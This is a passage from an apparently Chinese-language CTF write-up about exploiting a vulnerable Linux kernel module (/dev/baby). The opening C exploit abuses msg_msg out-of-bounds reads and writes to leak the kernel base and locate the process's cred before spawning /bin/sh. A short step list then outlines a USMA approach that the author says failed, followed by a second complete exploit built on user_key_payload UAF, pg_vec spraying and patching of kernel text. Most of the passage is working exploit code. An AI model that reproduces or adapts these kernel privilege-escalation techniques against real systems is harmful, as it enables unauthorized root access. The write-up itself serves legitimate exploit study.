if (msgsnd(msg_idx[i], msg_msg, 0x40-0x30, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");
}
sleep(0.1);
// puts("[+] debugger");
// add(20);
memset(buf, 0, sizeof(buf));
*(uint64_t*)(buf+0x10) = 1;
*(uint64_t*)(buf+0x18) = 0x1000-0x30;
for (int i = 0; i < 0x10000; i+=8)
{
// printf("[x] write i: %x\n", i);
edit(i, buf);
}
memset(msg_buffer, 0, sizeof(msg_buffer));
int res = msgrcv(qid, msg_msg, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
if (res < 0) err_exit("FAILED to OOR msg");
hexx("msgrcv data len", res);
// binary_dump("OOB data", msg_msg, 0x1000);
kernel_offset = -1;
int vim_qid = -1;
for (int i = 0; i < 0x1000 / 8; i++)
{
size_t addr = *(size_t*)(msg_buffer+i*8);
if (kernel_offset == -1)
{
kernel_offset = leak_offset(addr);
}
if (vim_qid == -1 && addr == 0xAAAABBBBCCCCDDDD)
{
vim_qid = *(int*)(msg_buffer+i*8+8);
}
if (kernel_offset != -1 && vim_qid != -1) break;
}
if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
hexx("kernel_offset", kernel_offset);
if (vim_qid == -1) err_exit("FAILED to hit victim msg");
hexx("victim msg queue idx", vim_qid);
memset(msg_buffer, 'A', sizeof(msg_buffer));
msg_msg->m_type = 2;
if (msgsnd(msg_idx[vim_qid], msg_msg, 0x2000-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");
memset(msg_buffer, 0, sizeof(msg_buffer));
res = msgrcv(qid, msg_msg, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
if (res < 0) err_exit("FAILED to OOR msg");
hexx("msgrcv data len", res);
// binary_dump("OOB data", msg_msg, 0x1000);
for (int i = 0; i < 0x1000 / 8; i++)
{
size_t addr = *(size_t*)(msg_buffer+i*8);
size_t idx = *(int*)(msg_buffer+i*8+8);
if (addr == 0xAAAABBBBCCCCDDDD && idx == vim_qid)
{
ll_next = *(uint64_t*)(msg_buffer+i*8-0x30);
ll_prev = *(uint64_t*)(msg_buffer+i*8-0x28);
}
}
if (ll_next == -1 || ll_prev == -1)
err_exit("FAILED to leak msg_seg addr");
hexx("ll_next", ll_next);
hexx("ll_prev", ll_prev);
size_t tasks_off = 0x298;
size_t pid_off = 0x398;
size_t cred_off = 0x540;
size_t init_task = 0xffffffff81c124c0 + kernel_offset;
memset(buf, 0, sizeof(buf));
struct msg_header* mh = (struct msg_header*)buf;
mh->l_next = 0;
mh->l_prev = 0;
mh->m_type = 1;
mh->m_ts = 0x2000-0x30-8;
mh->security = 0;
size_t real_pid = getpid();
size_t cur_task = init_task;
size_t cur_cred = 0;
uint64_t* task_task = NULL;
hexx("real_pid", real_pid);
while (1)
{
mh->next = (void*)(cur_task - 8);
edit(0, buf);
memset(msg_buffer, 0, sizeof(msg_buffer));
res = msgrcv(qid, msg_msg, 0x2000-0x30-8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
if (res < 0x2000-0x30-8) err_exit("FAILED to OOR meg_segment");
task_task = (uint64_t*)(msg_msg->m_text+0x1000-0x30);
hexx("cur pid", task_task[pid_off/8]&0xffffffff);
if (real_pid == (task_task[pid_off/8]&0xffffffff))
{
//binary_dump("current task_struct", msg_buffer+0x1000, 0x1000);
cur_cred = task_task[cred_off/8];
break;
}
cur_task = task_task[tasks_off/8+1] - tasks_off;
}
hexx("cur_task", cur_task);
hexx("cur_cred", cur_cred);
cred_cred = cur_cred;
res = msgrcv(msg_idx[vim_qid], msg_msg, 0x40-0x10, 1, IPC_NOWAIT|MSG_NOERROR);
hexx("msgrcv to free", res);
res = msgrcv(msg_idx[vim_qid], msg_msg, 0x2000-0x30-8, 2, IPC_NOWAIT|MSG_NOERROR);
hexx("msgrcv to free", res);
pthread_t th1, th2;
res = pthread_create(&th1, NULL, thread_handler1, NULL);
if (res != 0) err_exit("FAILED to create a new thread");
res = pthread_create(&th2, NULL, thread_handler2, NULL);
if (res != 0) err_exit("FAILED to create a new thread");
pthread_join(th1, NULL);
pthread_join(th2, NULL);
hexx("UID", getuid());
system("/bin/sh");
// puts("[+] debugger");
// add(20);
puts("[X] Never EXP END");
return 0;
}
效果如下:
USMA -- 并没有成功提权
利用思路如下:
1)add 一个 obj0
2)释放 obj0,分配 user_key_payload 占据 obj0
3)利用数组越界写 obj0 从而构造好 UAF
4)堆喷 user_key_payload;并 key_revoke 释放 user_key_payload
5)UAF 修改 UAF user_key_payload 的 datalen 实现越界读
6)user_key_payload 越界读泄漏 kernel_offset
7)key_revoke 释放 user_key_payload
---- 第8步就失败了-------------------------------------------------------------------------------------
8)堆喷 pgv 占据 UAF obj 《======= 失败,无法堆喷 pgv
9)UAF 修改 pg_vec 数组中的 pgv 地址为内核代码段地址
10)mmap 将内核代码段地址映射到用户空间,从而直接修改硬编码
exp 如下:虽然如此,但笔者认为其是一个不错的思路
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
struct note {
int func_idx;
int no_use0;
uint64_t tag;
char* ptr;
uint64_t no_use1;
};
int fd;
void add(uint64_t tag)
{
struct note n = { .tag = tag };
ioctl(fd, 0x1001, &n);
}
void dele(uint64_t tag)
{
struct note n = { .tag = tag };
ioctl(fd, 0x1003, &n);
}
void edit(uint64_t tag, char* buf)
{
struct note n = { .tag = tag, .ptr = buf };
ioctl(fd, 0x1002, &n);
}
int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
if (unshare(CLONE_NEWNET))//CLONE_NEWNS))// | CLONE_NEWUSER | CLONE_NEWNET))
{
perror("[X] ERROR unshare");
exit(EXIT_FAILURE);
}
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) perror("[X] socket(AF_PACKET)"), exit(-1);
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);
return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
#define KEY_SPRAY_NUMS 0x20
#define SPARY_PAGE_NUMS 0x1
int main(int argc, char** argv, char** env)
{
//bind_core(0);
//save_status();
int pipe_fd[2];
pipe(pipe_fd);
pid_t pid = fork();
if (!pid)
{
unshare_setup();
char desc[8];
char buf[0x1000];
int key_id;
int key_tmp[KEY_SPRAY_NUMS];
size_t kernel_offset;
size_t modprobe_path;
fd = open("/dev/baby", O_RDONLY);
if (fd < 0) err_exit("FAILED to open dev file");
memset(buf, 'A', sizeof(buf));
puts("[+] ==> START <==");
add(0); // 0
add(1); // 1
add(3); // 3
add(7); // 7
dele(0);
key_id = key_alloc("Pwner", buf, 17);
if (key_id < 0) err_exit("FAILED to key_alloc to get UAF chunk");
for (int i = 0; i < KEY_SPRAY_NUMS; i++)
{
sprintf(desc, "%s%d", "Pwner", i);
key_tmp[i] = key_alloc(desc, buf, 17);
if (key_tmp[i] < 0) err_exit("FAILED to key_alloc to spary");
}
add(15); // 15
for (int i = 0; i < KEY_SPRAY_NUMS; i++) key_revoke(key_tmp[i]);
memset(buf, 0, sizeof(buf));
*(uint64_t*)buf = 0;
*(uint64_t*)(buf+8) = 0;
*(uint64_t*)(buf+16) = 0xf00;
edit(0, buf);
memset(buf, 0, sizeof(buf));
kernel_offset = -1;
int res = key_read(key_id, buf, 0xf00);
hexx("res", res);
//binary_dump("OOB_READ DATA", buf, 0xf00);
for (int i = 0; i < 0xf00 / 8; i++)
{
if (*(uint64_t*)(buf+i*8) > 0xffffffff81000000 && (*(uint64_t*)(buf+i*8)&0xfff) == 0xf90)
{
kernel_offset = *(uint64_t*)(buf+i*8) - 0xffffffff811a3f90;
break;
}
}
// for (int i = 0; i < KEY_SPRAY_NUMS; i++) key_unlink(key_tmp[i]);
if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");
modprobe_path = kernel_offset + 0xffffffff81c337a0;
hexx("kernel_offset", kernel_offset);
hexx("modprobe_path", modprobe_path);
key_revoke(key_id);
char* page;
int page_idx[SPARY_PAGE_NUMS];
for (int i = 0; i < SPARY_PAGE_NUMS; i++)
{
page_idx[i] = pagealloc_pad(8, 4096);
}
for (int i = 0; i < 0x30 / 8; i++)
{
*(uint64_t*)(buf+i*8) = 0xFFFFFFFF81091000 + kernel_offset;
}
for (int i = 0; i < SPARY_PAGE_NUMS; i++)
{
page = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, page_idx[i], 0);
page[0x570] = 0xeb;
}
puts("[+] Child Process END");
//add(1);
write(pipe_fd[1], "A", 1);
} else if (pid < 0) {
err_exit("FAILED to fork");
} else {
char buf[1];
read(pipe_fd[0], buf, 1);
setresuid(0, 0, 0);
hexx("UID", getuid());
get_root_shell();
}
return 0;
}